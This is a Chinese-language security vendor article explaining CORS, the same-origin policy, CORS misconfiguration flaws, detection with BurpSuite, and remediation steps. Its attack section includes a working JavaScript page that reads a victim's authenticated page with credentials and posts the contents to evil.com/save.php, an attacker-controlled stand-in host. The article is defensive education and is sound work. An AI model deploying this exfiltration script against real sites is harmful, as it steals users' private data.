安全研究 >> 安全研究详情

CORS跨域漏洞来了?

作者: 美创科技安全实验室发布日期: 10月14日

CORS全称为Cross-Origin Resource Sharing即跨域资源共享,用于绕过SOP(同源策略)来实现跨域资源访问的一种技术。而CORS漏洞则是利用CORS技术窃取用户敏感数据。以往与CORS漏洞类似的JSONP劫持虽然已经出现了很多年,但由于部分厂商对此不够重视导致其仍在不断发展和扩散。


美创安全实验室近期监控到全国各地类似于JSONP劫持或CORS漏洞引发的CSRF防御崩溃案例不断增多故在此单独出一篇针对CORS漏洞原理及防御方法的文章,希望看官们好好保护自己的系统免受此种攻击威胁。

No.1

CORS及SOP简介

对CORS的介绍要从浏览器的同源策略开始说起,SOP全称为Same Origin Policy即同源策略,该策略是浏览器的一个安全基石,同源策略规定:不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源。简单来说同源策略就是浏览器会阻止一个源与另一个源的资源交互。可以试想一下,如果没有同源策略,当你访问一个正常网站的时候又无意间打开了另一个恶意网站,恶意网站会从你刚刚访问的正常网站上窃取你全部的信息。

SOP是一个很好的策略,在SOP被提出的时期,大家都默默地遵守着这个规定,但随着WEB应用的发展,有些网站由于自身业务的需求,需要实现一些跨域的功能能够让不同域的页面之间能够相互访问各自页面的内容。为了实现这个跨域需求,聪明的程序员想到了一种编码技术JSONP,该技术利用从客户端传入的json格式的返回值,在服务器端调用该接口处事先以定义函数的方式定义好json格式里参数值,并加载script标签调用该函数实现跨域。由此可见JSONP虽然好但他并非是在协议层面解决跨域问题,所以出现了很多安全问题。为了能更安全的进行跨域资源访问,CORS诞生了。

CORS是H5提供的一种机制,WEB应用程序可以通过在HTTP报文中增加特定字段来告诉浏览器,哪些不同来源的服务器是有权访问本站资源。

No.2

CORS跨域原理及漏洞成因

浏览器将CORS请求分成两类:简单请求(simple request)和非简单请求(not-so-simple request)。只要同时满足以下两个条件就属于简单请求否则属于非简单请求,①请求方法是(HEAD,GET,POST)三种之一;②HTTP的头信息不超出(Accept,Accept-Language,Content-Language,Lat-Event-ID,Content-Type)这几种字段。

对于简单请求,大致流程是浏览器发现这一次向服务器提交的请求是简单请求,所以自动在头信息中增加了一个Origin的字段,用来表示这次的请求来自哪个域。当服务器接收到请求后发现Origin字段指定的域名在许可范围内,服务器会在响应包中增加三个与CORS相关的字段,Access-Control-Allow-Origin、Access-Control-Allow-Credentials、Access-Control-Expose-Headers。其中Access-Control-Allow-Origin字段是必须存在的,它的值可能是Origin字段的值或者是一个通配符“*”,表示可以接受任意域名的请求,当然大部分服务器如果配置了通配符的话,信息泄露的风险骤然加大。再回到三个字段上,其中Access-Control-Allow-Credentials字段不是必选字段,它的值是一个布尔值且只能设置为true,表示服务器允许浏览器将cookie包含在请求中,否则就不添加此字段。但需要注意的是,如果要发送cookie,Access-Control-Allow-Origin就不能设为星号,必须明确指定与请求网页一致的域名,同时Cookie依然遵循同源策略。而Access-Control-Expose-Headers字段主要是指定想要获取XMLHttpRequest对象中getResponseHeader()方法的其他服务器字段。


所谓非简单请求就是那种对服务器提出特殊要求的请求,例如请求方法为PUT或DELETE。非简单的CORS请求会在正式通信之前,增加一次HTTP查询请求,称之为“预检请求”。浏览器先询问服务器,当前网页所在的域名是否在服务器的许可名单里以及可以使用哪些HTTP动词和头信息字段。只有获得了肯定响应,浏览器才会正式发出XMLHttpRequest请求否则就报错。这种请求的好处是对传统的没有CORS支持的服务器减小压力,给服务器一个提前拒绝的机会。具体流程如下,当构造请求包的方法是PUT或DELETE并传给浏览器时,浏览器发现此请求是非简单请求所以浏览器构造一个预检请求包,请求头是OPTIONS,并携带三个关键字段,Origin、Access-Control-Request-Method、Access-Control-Request-Headers。其中Access-Control-Request-Method表示浏览器的CORS请求会用到哪些HTTP方法,Access-Control-Request-Headers表示浏览器CORS请求会额外发送的头信息字段。服务器收到预检请求后,检查了三个核心字段以后如果确定允许跨域请求,会返回一个正常的HTTP回应,并携带传入的CORS头信息。如果服务器否定请求,虽然也会返回一个正常的HTTP回应但是没有任何CORS相关的头信息字段,或明确表示请求不符合条件。浏览器根据预请求的返回结果决定接下来是进行简单请求还是拒绝请求。


CORS使用检查请求头的相关字段和服务端的规则进行对比,来选择是否允许跨域。但凡是需要配置规则的程序,避免不了会出现一些意外,就像很多资深程序员有时也会写不出恰当的正则一样,当服务端配置的规则不够合理,导致非同域的资源可以互相访问,例如Access-Control-Allow-Origin: *。CORS反而使同源策略的保护机制土崩瓦解。因此,CORS漏洞的成因很明显,就是服务端配置的规则不当所导致的

No.3

CORS漏洞攻击流程


● 1.假设用户登陆一个含有CORS配置网站foo.com,同时又访问了攻击者提供的一个链接evil.com。

● 2.evil.com的网站向foo.com这个网站发起请求获取敏感数据,浏览器能否接收信息取决于foo.com的配置。

● 3.如果foo.com配置了Access-Control-Allow-Origin头且为预期,那么允许接收,否则浏览器会因为同源策略而不接收。

http://foo.com/index.php代码如下

http://foo.com/phpinfo.php代码如下

在访问index.php后再次访问phpinfo.php就可以在phpinfo页面发现httponly的COOKIE,在这里我们假设此cookie就是黑客想要获取的敏感信息。


然后构造黑客发生送给用户的恶意页面http://evil.com/steal.html

<!DOCTYPE>

<html>

<h1>CORS test</h1>

<script type="text/javascript">

function loadXMLDoc()

{

  var xhr1;

  var xhr2;

  if(window.XMLHttpRequest)

  {

    xhr1 = new XMLHttpRequest();

    xhr2 = new XMLHttpRequest();

  }

  else

  {

    xhr1 = new ActiveXObject("Microsoft.XMLHTTP");

    xhr2= new ActiveXObject("Microsoft.XMLHTTP");

  }

  xhr1.onreadystatechange=function()

  {

    if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response

    {

      var datas=xhr1.responseText;

      xhr2.open("POST","http://evil.com/save.php","true");

alert('3');

      xhr2.setRequestHeader("Content-type","application/x-www-form-urlencoded;charset=utf-8");

      xhr2.send("T1="+escape(datas));   

    }

  }

  xhr1.open("GET","http://foo.com/phpinfo.php","true") //request user page.

  alert(xhr1.responseText);

xhr1.withCredentials = true;    //request with cookie

  xhr1.send();

}

loadXMLDoc();

</script>

</html>

当用户点开此网页时,由evil.com通过AJAX发出一个向foo.com的资源请求,所以浏览器自动添加了Origin字段。


接下来黑客将获取到的敏感信息POST提交到save.php中,而save.php将数据保存在phpinfo.html里。evil.com/save.php代码如下:

黑客的请求流程是steal.html->phpinfo.php->save.php。我们通过BurpSuite的Repeater功能重放抓到的phpinfo.php请求包可以发现响应包是含有返回内容的,也就是请求到的资源。




但是在save.php中并没有返回的资源,通过检查浏览器的控制台提示信息发现,由于响应包缺少Access-Control-Allow-Origin响应头,导致浏览器拦截了跨源请求。

去掉foo.com/phpinfo.php服务端的注释

重新访问http://evil.com/steal.html


发现响应包中出现了对应的CORS响应头,Access-Control-Allow-Origin指是允许访问的源,Access-Control-Allow-Credentials指的是允许带上cookie访问资源。这样浏览器就不会出错而拦截请求了,随后js脚本把页面编码后发送到evil.com/save.php去。



模拟黑客访问evil.com/phpinfo.html页面,可以发现已经被窃取过来的敏感信息。至此成功利用CORS漏洞进行跨域资源访问。

No.4

CORS漏洞挖掘探索

CORS的漏洞主要看当我们发起的请求中带有Origin头部字段时,服务器的返回包带有CORS的相关字段并且允许Origin的域访问。

一般测试WEB漏洞都会用上BurpSuite,而BurpSuite可以实现帮助我们检测这个漏洞。

首先是自动在HTTP请求包中加上Origin的头部字段,打开BurpSuite,选择Proxy模块中的Options选项,找到Match and Replace这一栏,勾选Request header 将空替换为Origin:foo.example.org的Enable框。


然后我们就可以在开启Burpsuite的情况下访问我们认为有漏洞的网站,访问足够多后在BurpSuite的Proxy模块下的HTTP history来筛选带有CORS头部的值。


筛选条件可以设置成:

Access-Control-Allow-Origin: *

Access-Control-Allow-Credentials: true


No.5

修复及防御方式

1、仔细评估是否开启CORS,如果不必要就不要开启CORS。

2、如果是绝对必要的话,要定义“源”的白名单。尽量不使用正则表达式配置,不要配置“Access-Contol-Allow-Origin”为通配符“*”,同时严格校验来自请求的Origin值。

3、仅仅允许安全的协议,有必要验证协议以确保不允许来自不安全通道(HTTP)的交互,否则中间人(MitM)将绕过应用是所使用的HTTPS。

4、要尽可能的返回"Vary: Origin"这个头部,以避免攻击者利用浏览器缓存。

5、如果可能的话避免使用“Credentials”头,由于“Access-Control-Allow-Credentials”标头设置为“true”时允许跨域请求中带有凭证数据,因此只有在严格必要时才应配置它。此头部也增加了CSRF攻击的风险;因此,有必要对其进行保护。

6、限制使用的方法,通过“Access-Control-Allow-Methods”头部,还可以配置允许跨域请求的方法,这样可以最大限度地减少所涉及的方法。

7、限制缓存的时间,通过“Access-Control-Allow-Methods”和“Access-Control-Allow-Headers”头部,限制浏览器缓存信息的时间。可以通过使用“Access-Control-Max-Age”标题来完成,该头部接收时间数作为输入,该数字是浏览器保存缓存的时间。配置相对较低的值(例如大约30分钟),确保浏览器在短时间内可以更新策略(比如允许的源)。

8、仅配置所需要的头,仅在接收到跨域请求的时候才配置有关于跨域的头部,并且确保跨域请求是合法的(只允许来自合法的源)。


服务热线:400-711-8011
Copyright ©2005-2018 杭州美创科技有限公司. All Rights Reserved. 浙ICP备12021012号-1